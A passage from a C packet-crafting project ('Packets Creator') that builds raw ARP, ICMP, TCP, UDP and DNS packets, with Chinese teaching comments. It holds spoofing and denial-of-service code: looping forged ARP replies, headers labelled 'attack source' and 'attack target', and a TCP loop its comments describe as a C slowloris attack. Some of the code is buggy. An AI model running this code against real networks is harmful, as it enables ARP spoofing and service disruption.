./release/packets_creator 9 | 10 | 11 | start: 12 | make clean && make && ./release/packets_creator 13 | 14 | 15 | build: 16 | gcc -o ../lib/libexample.so -shared src/example.c -------------------------------------------------------------------------------- /serac-c/src/example/example.c: -------------------------------------------------------------------------------- 1 | 2 | int sum(int num1, int num2){ 3 | int result = num1 + num2; 4 | return result; 5 | } 6 | 7 | void sumarray(int a[], int b[], int result[], int size) { 8 | for (int i=0; iar_hrd = htons(1); 121 | arphdr->ar_pro = htons(ETH_P_IP); 122 | arphdr->ar_hln = 6; 123 | arphdr->ar_pln = 4; 124 | 125 | //第5个是设置ARP操作码即请求或响应 126 | //arphdr->ar_op = htons(ARPOP_REQUEST); 127 | arphdr->ar_op = htons(ARPOP_REPLY); 128 | 129 | //ARP报文后面4个字段分别是： 130 | //第6个字段:Sender Mac address 131 | memcpy(arphdr->__ar_sha, src_mac, 6 * sizeof(uint8_t)); 132 | 133 | //第7个字段:Sender IP address: 134 | //注意:这里必须用inet_pton是把点分十进制的字符串ip转换为二进制的ip 135 | //inet_ntop则刚好相反。这里不能用memcpy来直接赋值， 136 | //如果用memcpy赋值，程序会直接读取src_ip的前4个字节的asci码值的16进制作为IP地址 137 | //memcpy(arphdr->__ar_sip, src_ip, 4 * sizeof(uint8_t)); 138 | inet_pton(AF_INET, src_ip, arphdr->__ar_sip); 139 | 140 | //第8个字段:Target Mac address: 141 | //下面这句表示mac地址的6个字节全部置为0xff，即广播地址 142 | //memset(arphdr->__ar_tha, 0xff, 6 * sizeof(uint8_t)); 143 | //下面是分别设置mac的每个字节，目前没有比下面的代码更简便的方式： 144 | //如果不填充数据到__ar_tha，那么目的mac地址是随机的。 145 | memcpy(arphdr->__ar_tha, dst_mac, 6 * sizeof(uint8_t)); 146 | 147 | //第9个字段:Taget IP address: 148 | inet_pton(AF_INET, dst_ip, arphdr->__ar_tip); 149 | 150 | //统计ARP报文总长度，不像TCP，UDP，ARP的9个字段的长度都是固定的，总长14+28=42字节 151 | //但是wireshark工作在数据链路层，也就是说收到的ARP包都是60字节，但发出的包是42字节 152 | frame_length = 6 + 6 + 2 + ARP_HDRLEN; 153 | 154 | // Destination and Source MAC addresses 155 | memcpy(ether_frame, dst_mac, 6 * sizeof(uint8_t)); 156 | memcpy(ether_frame + 6, src_mac, 6 * sizeof(uint8_t)); 157 | 158 | //指定以太帧的类型字段为0806即ARP,ETH_P_ARP即2054除以256等于8余数是6,都小于16所以不需要转换进制 159 | ether_frame[12] = ETH_P_ARP / 256; 160 | ether_frame[13] = ETH_P_ARP % 256; 161 | 162 | //填充ARP报头，这里直接使用arphdr，而不是&arphdr 163 | memcpy(ether_frame + ETH_HDRLEN, arphdr, ARP_HDRLEN * sizeof(uint8_t)); 164 | 165 | return frame_length; 166 | } 167 | 168 | int 169 | send_arp(struct sockaddr_ll *point_dev, uint8_t * ether_frame, int frame_length) 170 | { 171 | int sockfd; 172 | int ret; 173 | 174 | //创建基于帧的原始套接字 175 | sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 176 | 177 | printf("the ether_frame is %s=========\n", ether_frame); 178 | 179 | while (1) { 180 | ret = 181 | sendto(sockfd, ether_frame, frame_length, 0, 182 | (struct sockaddr *)point_dev, 183 | sizeof(struct sockaddr_ll)); 184 | perror("sendto"); 185 | printf("the ret is %d and send arp finished===\n", ret); 186 | sleep(1); 187 | } 188 | 189 | close(sockfd); 190 | 191 | return 0; 192 | } 193 | -------------------------------------------------------------------------------- /serac-c/src/packet/arp.h: -------------------------------------------------------------------------------- 1 | #include "macros.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include //获取mac地址SIOCGIFHWADDR 16 | #include //AI_CANONNAME和addrinfo 17 | #include //ifreq 18 | #include //struct arphdr 19 | #include //stuct sockaddr_ll 20 | #include //ether_arp报头和ETH_P_ALL 21 | 22 | int mac_local(uint8_t * src_mac); 23 | int get_ifindex(struct sockaddr_ll *point_dev); 24 | int arphdr_build(uint8_t * src_mac, uint8_t * dst_mac, char *src_ip, 25 | char *dst_ip, uint8_t * ether_frame); 26 | int send_packet(struct sockaddr_ll *point_dev, uint8_t * ether_frame, 27 | int frame_length); 28 | -------------------------------------------------------------------------------- /serac-c/src/packet/checksum.c: -------------------------------------------------------------------------------- 1 | #include "checksum.h" 2 | 3 | unsigned short creator_check_sum(char *buf, int protocol) 4 | { 5 | //这个函数是个可重用的函数，方便计算ip，udp，tcp的校验和 6 | //udp和tcp的校验和计算完全一致。 7 | //需要注意的是伪报头是不存在的，只是用于计算校验和而已。 8 | 9 | //计算校验和，必须确保所有字段的数据类型正确 10 | //ip_v,ip_hl,ip_ttl必须是整形 11 | //ip_tos，只能是特定的二进制或16进制 12 | //ip_id用什么类型无所谓 13 | //除了上面5个字段，其他所有字段必须是网络字节序数字 14 | 15 | unsigned short ret, len, tmp_ttl, tmp_ip_sum; 16 | unsigned long sum = 0; 17 | 18 | //根据ip字段的第3,4字节的值得到数据包总长度， 19 | //然后对于奇数需要扩展1个字节 20 | len = ntohs(*(unsigned short *)(buf + 2)); 21 | len = ((len + 1) / 2) * 2; 22 | 23 | printf("##############the len is %d====\n", len); 24 | 25 | //这里如果不引入中间变量check_buf，而直接调用buf并做强制类型转换 26 | //会得到不一样的结果，如果仅仅只对buf强制类型转换， 27 | //那么buf++还是以char为单位划分内存，会导致累加出问题 28 | //要么就在传入参数时就先进行强制类型转换，效果是一样的 29 | unsigned short *check_buf; 30 | 31 | switch (protocol) { 32 | //按协议号来区分不同的校验和 33 | //IPPROTO_IP = 0 34 | //IPPROTO_ICMP = 1 35 | //IPPROTO_TCP = 6 36 | //IPPROTO_UDP = 17 37 | //IPPROTO_RAW = 255 38 | 39 | case IPPROTO_IP: 40 | //ip校验和参与计算的长度固定是20 41 | len = 20; 42 | check_buf = (unsigned short *)buf; 43 | break; 44 | 45 | case IPPROTO_ICMP: 46 | //icmp协议参与校验和计算的是:ip报头+icmp报头+icmp数据 47 | //也就是全部都参加，len是ip的第二字节对应的值也就是总长度， 48 | //所以这里不需要做任何改变 49 | check_buf = (unsigned short *)buf; 50 | break; 51 | 52 | 53 | case IPPROTO_TCP: 54 | //tcp和udp的校验和计算，涉及到12字节的伪报头， 55 | //参与计算的长度，刚好是总长度减去8字节 56 | len -= 8; 57 | //tmp_ttl只占一个字节而且是整形，必须先提取出来 58 | tmp_ttl = *(buf + 8); 59 | check_buf = (unsigned short *)(buf + 8); 60 | tmp_ip_sum = *(check_buf + 2); 61 | *check_buf = htons(0x0006); 62 | 63 | //之所以用下面种方式，是因为udp报头有长度字段， 64 | //而tcp报头没有长度字段，统一从ip报头中取出来 65 | *(check_buf + 1) = *(unsigned short *)(buf + 2) - htons(20); 66 | break; 67 | 68 | case IPPROTO_UDP: 69 | len -= 8; 70 | //tmp_ttl只占一个字节而且是整形，必须先提取出来 71 | tmp_ttl = *(buf + 8); 72 | check_buf = (unsigned short *)(buf + 8); 73 | tmp_ip_sum = *(check_buf + 2); 74 | *check_buf = htons(0x0011); 75 | *(check_buf + 1) = *(unsigned short *)(buf + 2) - htons(20); 76 | break; 77 | 78 | default: 79 | break; 80 | } 81 | 82 | //开始循环累加，通过与运算0x80000000，判读sum的第8位是否是1 83 | //如果是就进行一次移位累加运算,这个是校验和的计算规则 84 | while (len > 1) { 85 | sum += *check_buf++; 86 | if (sum & 0x80000000) { 87 | sum = (sum & 0xFFFF) + (sum >> 16); 88 | } 89 | len -= 2; 90 | } 91 | 92 | while (sum >> 16) { 93 | sum = (sum & 0xFFFF) + (sum >> 16); 94 | } 95 | 96 | ret = (unsigned short)~sum; 97 | 98 | switch (protocol) { 99 | //还原之前为了计算校验和填充的字节，主要针对tcp，udp的伪报头 100 | case IPPROTO_IP: 101 | printf(">>> ip >>>chesum result is 0x%04x*****\n\n", 102 | ntohs(ret)); 103 | break; 104 | 105 | case IPPROTO_ICMP: 106 | printf(">>> icmp >>>chesum result is 0x%04x*****\n\n", 107 | ntohs(ret)); 108 | break; 109 | 110 | case IPPROTO_TCP: 111 | printf(">>> tcp >>>chesum result is 0x%04x*******\n", 112 | ntohs(ret)); 113 | *(buf + 8) = tmp_ttl; 114 | *(check_buf + 2) = tmp_ip_sum; 115 | break; 116 | 117 | case IPPROTO_UDP: 118 | printf(">>> udp >>>chesum result is 0x%04x******\n\n", 119 | ntohs(ret)); 120 | *(buf + 8) = tmp_ttl; 121 | *(check_buf + 1) = tmp_ip_sum; 122 | break; 123 | 124 | default: 125 | break; 126 | } 127 | 128 | //注意ret的计算过程中所有值都是网络字节序，得出的结果当然也是网络字节序， 129 | //所以这里不需要再转成网络字节序,赋值给对应的校验和字段是不需要htons转换了 130 | return ret; 131 | } 132 | -------------------------------------------------------------------------------- /serac-c/src/packet/checksum.h: -------------------------------------------------------------------------------- 1 | //可能要要用到memcpy，strlen，printf等函数，添加标准io头文件 2 | #include 3 | #include 4 | 5 | 6 | unsigned short 7 | creator_check_sum(char *buf, int protocol); 8 | -------------------------------------------------------------------------------- /serac-c/src/packet/icmp.c: -------------------------------------------------------------------------------- 1 | #include "icmp.h" 2 | 3 | 4 | int creator_icmp(void) 5 | { 6 | int sockfd, len_payload, len_total; 7 | struct sockaddr_in *src_addr, *dst_addr; 8 | 9 | char *buf, *payload; 10 | struct ip *header_ip; 11 | struct icmphdr *header_icmp; 12 | 13 | buf = malloc(100); 14 | payload = malloc(50); 15 | src_addr = malloc(sizeof(struct sockaddr_in)); 16 | dst_addr = malloc(sizeof(struct sockaddr_in)); 17 | 18 | header_ip = (struct ip *)buf; 19 | header_icmp = (struct icmphdr *)(buf + sizeof(struct ip)); 20 | payload = buf + sizeof(struct ip) + sizeof(struct icmphdr); 21 | 22 | memset(buf, '\0', sizeof(buf)); 23 | 24 | memset(src_addr, '\0', sizeof(struct sockaddr_in)); 25 | memset(dst_addr, '\0', sizeof(struct sockaddr_in)); 26 | 27 | len_payload = payload_icmp(payload); 28 | 29 | len_total = sizeof(struct ip) + sizeof(struct icmphdr) + len_payload; 30 | 31 | printf("2222222222222 len_total is %d======\n", len_total); 32 | 33 | //构建原始套接字 34 | sockfd = sock_init_icmp(src_addr, dst_addr); 35 | 36 | //初始化ip报头 37 | creator_icmphdr_ip(header_ip, src_addr, dst_addr, len_total); 38 | 39 | //初始化icmp报头，并填充数据 40 | creator_header_icmp(header_icmp); 41 | 42 | //ip校验和是否填充无所谓，网卡会自动计算出来 43 | header_ip->ip_sum = creator_check_sum(buf, IPPROTO_IP); 44 | 45 | //icmp校验和 46 | header_icmp->checksum = creator_check_sum(buf, IPPROTO_ICMP); 47 | 48 | //发送icmp数据包 49 | send_icmp(sockfd, dst_addr, buf, len_payload); 50 | 51 | return 0; 52 | } 53 | 54 | int sock_init_icmp(struct sockaddr_in *src_addr, struct sockaddr_in *dst_addr) 55 | { 56 | int sockfd, on; 57 | dst_addr->sin_family = AF_INET; 58 | dst_addr->sin_port = htons(DST_PORT); 59 | inet_aton(DST_IP, &(dst_addr->sin_addr)); 60 | 61 | src_addr->sin_family = AF_INET; 62 | src_addr->sin_port = htons(SRC_PORT); 63 | inet_aton(SRC_IP, &(src_addr->sin_addr)); 64 | 65 | /*创建一个TCP的原始套接字 */ 66 | sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); 67 | 68 | /*设置套接字选项IP_HDRINCL,由用户程序填写IP头部 */ 69 | setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); 70 | 71 | //setuid(getuid()); //root启动时不需要用setuid获取root权限 72 | 73 | return sockfd; 74 | } 75 | 76 | int 77 | creator_icmphdr_ip(struct ip *header_ip, struct sockaddr_in *src_addr, 78 | struct sockaddr_in *dst_addr, int len_total) 79 | { 80 | /*开始填充IP数据报的头部 */ 81 | header_ip->ip_v = IPVERSION; //IPV4 82 | header_ip->ip_hl = sizeof(struct ip) >> 2; //IP数据报的头部长度 83 | header_ip->ip_tos = 0; //服务类型 84 | header_ip->ip_len = htons(len_total); //IP数据报及其载荷长度，整形且不要转字节序 85 | header_ip->ip_id = 0; //IP id 由内核填写 86 | header_ip->ip_off = 0; //有内核填写 87 | header_ip->ip_ttl = 30; //MAXTTL; 88 | header_ip->ip_p = IPPROTO_ICMP; //指定上层协议为ICMP 89 | header_ip->ip_sum = 0; //0表示禁用校验和，由网卡来校验 90 | header_ip->ip_src = src_addr->sin_addr; //源地址，即攻击来源 91 | header_ip->ip_dst = dst_addr->sin_addr; //目的地址，即攻击目标 92 | 93 | printf("dst address is %s\n", inet_ntoa(dst_addr->sin_addr)); 94 | printf("src address is %s\n", inet_ntoa(src_addr->sin_addr)); 95 | 96 | return 0; 97 | } 98 | 99 | int creator_header_icmp(struct icmphdr *header_icmp) 100 | { 101 | //这里的type是icmp协议类型共有18种，0表示响应包，8表示请求包 102 | //code是代码，统一类型可能有若干种类，细分就用code，比如3和3组合是端口不达 103 | //由于只占1个字节，没有高低之分，直接填整数即可 104 | header_icmp->type = 8; 105 | header_icmp->code = 0; 106 | header_icmp->checksum = htons(0); 107 | 108 | header_icmp->un.echo.id = htons(11); 109 | header_icmp->un.echo.sequence = htons(230); 110 | 111 | return 0; 112 | } 113 | 114 | 115 | int 116 | send_icmp(int sockfd, struct sockaddr_in *dst_addr, char *buf, int len_payload) 117 | { 118 | int ret; 119 | while (1) { 120 | //开始发送icmp协议包 121 | ret = sendto(sockfd, buf, 20 + 8 + len_payload, 0, 122 | (struct sockaddr *)dst_addr, 123 | sizeof(struct sockaddr)); 124 | printf("the ret is %d===\n", ret); 125 | 126 | sleep(1); 127 | } 128 | 129 | return 0; 130 | } 131 | -------------------------------------------------------------------------------- /serac-c/src/packet/icmp.h: -------------------------------------------------------------------------------- 1 | //这里是构造icmp数据 2 | #include "macros.h" 3 | #include "checksum.h" 4 | #include "payload.h" 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | int creator_icmp(void); 19 | 20 | 21 | int sock_init_icmp(struct sockaddr_in *src_addr, struct sockaddr_in *dst_addr); 22 | 23 | int 24 | creator_icmphdr_ip(struct ip *header_ip, struct sockaddr_in *src_addr, 25 | struct sockaddr_in *dst_addr, int len_total); 26 | 27 | 28 | 29 | int creator_header_icmp(struct icmphdr *header_icmp); 30 | 31 | 32 | int 33 | send_icmp(int sockfd, struct sockaddr_in *dst_addr, char *buf, int len_payload); 34 | -------------------------------------------------------------------------------- /serac-c/src/packet/macros.h: -------------------------------------------------------------------------------- 1 | //定义所有跟数据包构造相关的宏 2 | 3 | //ARP 4 | #define ETH_HDRLEN 14 // Ethernet header length 5 | #define IP4_HDRLEN 20 // IPv4 header length 6 | #define ARP_HDRLEN 28 // ARP header length 7 | #define ARPOP_REQUEST 1 // Taken from 8 | #define ARPOP_REPLY 2 9 | 10 | #define DST_MAC { 0x1A, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F } 11 | 12 | #define INTERFACE "eth0" 13 | 14 | //ARP,IP,UDP,TCP的报文都会用到 15 | #define SRC_PORT 15000 //源端口 16 | #define SRC_IP "192.168.1.31" //源IP 17 | #define DST_PORT 53 //目的端口 18 | //#define DST_IP "198.52.106.25" //目的IP 19 | //#define DST_IP "202.96.134.133" //目的IP 20 | #define DST_IP "192.168.1.32" //目的IP 21 | 22 | 23 | //#define DOMAIN "www.geektcp.com" //构造DNS包用到的域名 24 | #define DOMAIN "baidu.com" //构造DNS包用到的域名 25 | -------------------------------------------------------------------------------- /serac-c/src/packet/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * ===================================================================================== 3 | * 4 | * ProgramName: 数据包生成器(Packets Creator) 5 | * 6 | * Description: 集成ARP,UDP,TCP,DNS,ICMP,OSPF等数据包的构造器 7 | * 8 | * Version: 1.0 9 | * Created: 2015年10月3日 19时12分 10 | * Revision: none 11 | * Compiler: gcc 12 | * 13 | * Author: Haiyang Tang 14 | * Website: http://geektcp.com 15 | * Email: geektcp@163.com 16 | * 17 | * ===================================================================================== 18 | */ 19 | 20 | #include "arp.h" 21 | #include "udp.h" 22 | #include "tcp.h" 23 | 24 | #include 25 | 26 | int main(int argc, char **argv) 27 | { 28 | // creator_arp(); 29 | 30 | // creator_udp(); 31 | 32 | // creator_tcp(); 33 | 34 | // creator_dns(); 35 | 36 | creator_icmp(); 37 | 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /serac-c/src/packet/payload.c: -------------------------------------------------------------------------------- 1 | #include "payload.h" 2 | 3 | struct dnshdr 4 | { 5 | //这是个自定义的结构体，系统没有现成的 6 | //这个结构体是每个DNS包必须要有的 7 | //DNS通过这个结构体的id来维持回话 8 | //支持查询多个域名或者多个响应 9 | unsigned short id; 10 | unsigned short flags; 11 | unsigned short num_questions; 12 | unsigned short num_answers; 13 | unsigned short num_authority; 14 | unsigned short num_additional; 15 | }; 16 | 17 | //在dnshdr和dns_question_section还有一段可变长数据，即域名 18 | //但这里的域名填写方式不是简单的字符串，而是带有每段长度 19 | //具体参考响应文档 20 | 21 | struct dns_question_section 22 | { 23 | //dns查询结构体，只有两个类型 24 | //type是定义记录类型，比如A记录，别名记录等 25 | unsigned short type; 26 | unsigned short class; 27 | }; 28 | 29 | 30 | struct dns_answer_section 31 | { 32 | //dns响应结构体 33 | unsigned short name; 34 | unsigned short type; 35 | unsigned short class; 36 | unsigned short ttl_top; 37 | unsigned short ttl; 38 | unsigned short data_len; 39 | }; 40 | 41 | 42 | 43 | int 44 | domain_split(char *domain, char **buf_str, int *buf_size) 45 | { 46 | //这个函数用来传入域名，传出域名的每个段，及每段的长度 47 | char *running = domain; 48 | 49 | char *str_tok = NULL; 50 | char *delim = "."; 51 | int num = 0; 52 | 53 | 54 | while( (str_tok = strsep(&running, delim)) != NULL ) 55 | { 56 | *(buf_str+num) = str_tok; 57 | *(buf_size+num) = strlen(str_tok); 58 | num++; 59 | } 60 | 61 | return num; 62 | } 63 | 64 | 65 | int payload_udp(char *payload) 66 | { 67 | //这里构造一个最简单但是没用的DNS包，可以正常发出，但提示malformed packet 68 | //必须先定义udp的负载，因为要确定长度。 69 | //这里既可以用指针，也可以用数组，还可以用malloc分配 70 | //char payload[100]; char * payload = malloc(100); 71 | int len_payload; 72 | char *data_dns = "123456abcd"; 73 | 74 | len_payload = strlen(data_dns); 75 | printf("len payload is %d===\n", len_payload); 76 | 77 | //指针和指针之间的赋值时,有两种技巧都可以； 78 | //第一种用strcat，这种方式是只能用于字符类型指针； 79 | //strcat((buf + sizeof(struct ip) + sizeof(struct udphdr)), data); 80 | 81 | //第二种直接赋值，这种方式可以用于任何类型指针； 82 | //如果被赋值的指针带有+号不能出现在等号左边，可以引入临时变量data来解决 83 | 84 | //填写udp载荷数据，这里使用指针间的直接赋值这个技巧。 85 | memcpy(payload, data_dns, len_payload); 86 | 87 | return len_payload; 88 | } 89 | 90 | 91 | int payload_udp_dns(char *payload) 92 | { 93 | //操作系统没有自带的DNS结果体，上面是根据理解自定义的 94 | //构造一个dns查询包，向dns服务器发起查询，可以得到A记录的IP地址 95 | //不需要发起一个ip反查的数据包，但是对于对于某些域名如果要求IP反查则不行 96 | int len_payload, len_domain; 97 | struct dnshdr *payload_dns; 98 | 99 | 100 | char *domain1, *domain2, *domain3; 101 | int len1, len2, len3; 102 | struct dns_question_section *payload_dns_question; 103 | 104 | 105 | payload_dns = (struct dnshdr *)payload; 106 | 107 | payload_dns->id = htons(0xfde7); 108 | payload_dns->flags = htons(0x0100); 109 | payload_dns->num_questions = htons(1); 110 | payload_dns->num_answers = htons(0); 111 | payload_dns->num_authority = htons(0); 112 | payload_dns->num_additional = htons(0); 113 | 114 | //由于域名长度不确定，这里单独填充域名，注意.号替换为字节数 115 | 116 | 117 | //buf_str这个数组，这里不能用指针表示，会提示内存越界段错误 118 | //但是如果把完全一样的代码单独放到一个测试文件中编译可以用指针表示 119 | //char **buf_str; 120 | //所以domain也必须是数组形式，否则会有问题 121 | //处于安全考量，限制域名长度为15字节不过会提示too long， 122 | //因为确实明显超过了，还是留空直接用宏赋值好了 123 | //域名深度最多为5，这个没问题 124 | char domain[] = DOMAIN; 125 | char *buf_str[5]; 126 | int buf_size[5]; 127 | int domain_section; 128 | 129 | 130 | domain_section = domain_split(domain, buf_str, buf_size); 131 | 132 | printf("the domain_section is %d===\n", domain_section); 133 | 134 | int j; 135 | for(j=0; jtype = htons(1); 172 | payload_dns_question->class = htons(1); 173 | 174 | 175 | //指针和指针之间的赋值时,有两种技巧都可以； 176 | //第一种用strcat，这种方式是只能用于字符类型指针； 177 | //strcat((buf + sizeof(struct ip) + sizeof(struct udphdr)), data); 178 | 179 | //第二种直接赋值，这种方式可以用于任何类型指针； 180 | //如果被赋值的指针带有+号不能出现在等号左边，可以引入临时变量data来解决 181 | 182 | //填写udp载荷数据，这里使用指针间的直接赋值这个技巧。 183 | //memcpy(payload, data_dns, len_payload); 184 | 185 | //len_payload是结构体dnshdr加域名再加结构体dns_question_section总长度, 186 | //注意不是udp的总长度，而是udp出去udp的报头的负载数据的总长度 187 | len_payload += sizeof(struct dns_question_section); 188 | 189 | return len_payload; 190 | } 191 | 192 | int payload_tcp(char *payload) 193 | { 194 | //必须先定义tcp的负载，因为要确定长度。 195 | //这里既可以用指针，也可以用数组，还可以用malloc分配 196 | //char payload[100]; char * payload = malloc(100); 197 | char *data_http; 198 | int len_payload; 199 | 200 | //payload = "123456abcd"; 201 | data_http = "HTTP/1.1 200 OK\r\n\r\n"; 202 | //get /thy.html HTTP/1.1 /r/n"; 203 | 204 | len_payload = strlen(data_http); 205 | printf("len payload is %d===\n", len_payload); 206 | 207 | //指针和指针之间的赋值时,有两种技巧都可以； 208 | //第一种用strcat，这种方式是只能用于字符类型指针； 209 | //strcat((buf + sizeof(struct ip) + sizeof(struct tcphdr)), data); 210 | 211 | //第二种直接赋值，这种方式可以用于任何类型指针； 212 | //如果被赋值的指针带有+号不能出现在等号左边，可以引入临时变量data来解决 213 | 214 | //填写tcp载荷数据，这里使用指针间的直接赋值这个技巧。 215 | // data = payload; 216 | // payload = "123456abcd"; 217 | memcpy(payload, data_http, len_payload); 218 | 219 | return len_payload; 220 | } 221 | 222 | 223 | 224 | int payload_icmp(char *payload) 225 | { 226 | //icmp协议的数据部分没有什么限制，可以随便填写 227 | int len_payload; 228 | 229 | //对于icmp协议中ping包，这部分数据是完全回显的， 230 | //也就是说服务端不做任何变更直接返回过来 231 | //char *data_icmp = "1234567890abcdefghij123456789012thy"; 232 | char *data_icmp = "ip a"; 233 | 234 | len_payload = strlen(data_icmp); 235 | printf("len payload is %d===\n", len_payload); 236 | 237 | //填写icmp载荷数据，这里使用指针间的直接赋值这个技巧。 238 | memcpy(payload, data_icmp, len_payload); 239 | 240 | return len_payload; 241 | } 242 | -------------------------------------------------------------------------------- /serac-c/src/packet/payload.h: -------------------------------------------------------------------------------- 1 | //定义各协议所有上层应用数据，即payload 2 | #include "macros.h" 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | int 10 | domain_split(char *domain, char **buf_str, int *buf_size); 11 | 12 | 13 | int payload_udp(char *payload); 14 | 15 | int payload_udp_dns(char *payload); 16 | 17 | int payload_tcp(char *payload); 18 | -------------------------------------------------------------------------------- /serac-c/src/packet/tcp.c: -------------------------------------------------------------------------------- 1 | #include "tcp.h" 2 | 3 | //int main(int argc, char **argv) 4 | 5 | int creator_tcp(void) 6 | { 7 | int sockfd, len_payload, len_total; 8 | struct sockaddr_in *src_addr, *dst_addr; 9 | 10 | char *buf, *payload; 11 | struct ip *header_ip; 12 | struct tcphdr *header_tcp; 13 | 14 | buf = malloc(200); 15 | payload = malloc(50); 16 | src_addr = malloc(sizeof(struct sockaddr_in)); 17 | dst_addr = malloc(sizeof(struct sockaddr_in)); 18 | 19 | header_ip = (struct ip *)buf; 20 | header_tcp = (struct tcphdr *)(buf + sizeof(struct ip)); 21 | payload = buf + sizeof(struct ip) + sizeof(struct tcphdr); 22 | 23 | memset(buf, '\0', sizeof(buf)); 24 | 25 | memset(src_addr, '\0', sizeof(struct sockaddr_in)); 26 | memset(dst_addr, '\0', sizeof(struct sockaddr_in)); 27 | 28 | len_payload = payload_tcp(payload); 29 | 30 | len_total = sizeof(struct ip) + sizeof(struct tcphdr) + len_payload; 31 | 32 | //构建原始套接字 33 | sockfd = sock_init_tcp(src_addr, dst_addr); 34 | 35 | //初始化ip报头 36 | creator_tcphdr_ip(header_ip, src_addr, dst_addr, len_total); 37 | 38 | //初始化tcp报头，并填充数据 39 | creator_header_tcp(header_tcp); 40 | 41 | //ip校验和是否填充无所谓，网卡会自动计算出来 42 | header_ip->ip_sum = creator_check_sum(buf, IPPROTO_IP); 43 | 44 | //tcp校验和 45 | header_tcp->check = creator_check_sum(buf, IPPROTO_TCP); 46 | 47 | //发送tcp数据包 48 | send_tcp(sockfd, dst_addr, buf, len_payload); 49 | 50 | return 0; 51 | } 52 | 53 | int sock_init_tcp(struct sockaddr_in *src_addr, struct sockaddr_in *dst_addr) 54 | { 55 | int sockfd, on; 56 | dst_addr->sin_family = AF_INET; 57 | dst_addr->sin_port = htons(DST_PORT); 58 | inet_aton(DST_IP, &(dst_addr->sin_addr)); 59 | 60 | src_addr->sin_family = AF_INET; 61 | src_addr->sin_port = htons(SRC_PORT); 62 | inet_aton(SRC_IP, &(src_addr->sin_addr)); 63 | 64 | /*创建一个TCP的原始套接字 */ 65 | sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); 66 | 67 | /*设置套接字选项IP_HDRINCL,由用户程序填写IP头部 */ 68 | setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); 69 | 70 | //setuid(getuid()); //root启动时不需要用setuid获取root权限 71 | 72 | return sockfd; 73 | } 74 | 75 | int 76 | creator_tcphdr_ip(struct ip *header_ip, struct sockaddr_in *src_addr, 77 | struct sockaddr_in *dst_addr, int len_total) 78 | { 79 | /*开始填充IP数据报的头部 */ 80 | header_ip->ip_v = IPVERSION; //IPV4 81 | header_ip->ip_hl = sizeof(struct ip) >> 2; //IP数据报的头部长度 82 | header_ip->ip_tos = 0; //服务类型 83 | header_ip->ip_len = htons(len_total); //IP数据报及其载荷长度，整形且不要转字节序 84 | header_ip->ip_id = 0; //IP id 由内核填写 85 | header_ip->ip_off = 0; //有内核填写 86 | header_ip->ip_ttl = 30; //MAXTTL; 87 | header_ip->ip_p = IPPROTO_TCP; //传输层协议为TCP 88 | header_ip->ip_sum = 0; //0表示禁用校验和，由网卡来校验 89 | header_ip->ip_src = src_addr->sin_addr; //源地址，即攻击来源 90 | header_ip->ip_dst = dst_addr->sin_addr; //目的地址，即攻击目标 91 | 92 | printf("dst address is %s\n", inet_ntoa(dst_addr->sin_addr)); 93 | printf("src address is %s\n", inet_ntoa(src_addr->sin_addr)); 94 | 95 | return 0; 96 | } 97 | 98 | int creator_header_tcp(struct tcphdr *header_tcp) 99 | { 100 | /*开始填写TCP数据报 */ 101 | header_tcp->source = htons(SRC_PORT); //源端口 102 | header_tcp->dest = htons(DST_PORT); //目的端口 103 | header_tcp->seq = htons(100); //发送序列号 104 | header_tcp->ack_seq = htons(200); //确认序号 105 | header_tcp->doff = 5; //数据偏离位置即data off,其实就是header_tcp报头长度， 106 | //5表示5个双字，即5X4=20字节，通常是5 107 | //如果要使报文带有选项，可以设置为6或7或8 108 | //分别带有1个，2个，3个TCP选项 109 | 110 | //这里如果胡乱天，会导致构造的数据包无法被wireshark解析， 111 | //并提示[Malformed Packet: GSM over IP] 112 | header_tcp->res1 = 0; 113 | header_tcp->res2 = 0; 114 | header_tcp->urg = 0; 115 | header_tcp->ack = 1; 116 | header_tcp->psh = 1; 117 | header_tcp->rst = 0; //这里不启用rst字段，这样http请求就会更逼真 118 | header_tcp->syn = 0; 119 | header_tcp->fin = 0; 120 | 121 | header_tcp->window = htons(100); 122 | header_tcp->check = 0; 123 | header_tcp->urg_ptr = 0; 124 | 125 | return 0; 126 | } 127 | 128 | int 129 | send_tcp(int sockfd, struct sockaddr_in *dst_addr, char *buf, int len_payload) 130 | { 131 | int ret; 132 | while (1) { 133 | /*循环发送攻击包 */ 134 | /*随机产生源地址，使服务器收不到最后一个ACK应答 */ 135 | // header_ip->ip_src.s_addr=random(); 136 | 137 | //开始发送攻击数据报, 这里buf是个复杂的数据，经过两次强制指针转换，这是个技巧。 138 | //另外还在结尾又追加了一段数据，这个指针是个很特殊的指针. 139 | //不能当成字符串看待,不能用strlen(buf)获取长度。这部能用strlen(data)。 140 | //sendto第三个参数如果用sizeof(buf)即100，并且payload结尾只有1个\r\n，会是什么效果呢？ 141 | //buf实际长度是sizeof(struct ip)+sizeof(struct tcphdr)+strlen(payload),这个长度不会超过100bytes。 142 | //效果是tcp会认为数据没有发完,wireshark提示[Bytes in flight: 60]， 143 | //这时虽然strlen(payload)只有十几个字节，但是剩下的部分会用0填充，总共还是60字节，整个数据包长度共114字节 144 | //114 = 60字节数据 + IP报头(20bytes) + TCP报头(20bytes) + 以太网帧长度(14bytes) 145 | //100 = 60字节数据 + IP报头(20bytes) + TCP报头(20bytes) 146 | //还有另外一种情况，如果payload有两个回车换号\r\n\r\n那么tcp认为已经发送完成，这就是一个完整的数据包。 147 | //这就是说如果只有一个回车换行\r\n，tcp认为没有发送完成，还会有数据要发送，web服务端的底层http协议也认为没有完成 148 | //这时web服务器就会一直等待，并且不会关闭这个http连接，直到超时，才会回收资源。这时如果客户端设置了keepalived， 149 | //那么服务端永远不会超时，永远不会回收资源，这就是slowloris的攻击原理，只不过我这个是C语言版， 150 | 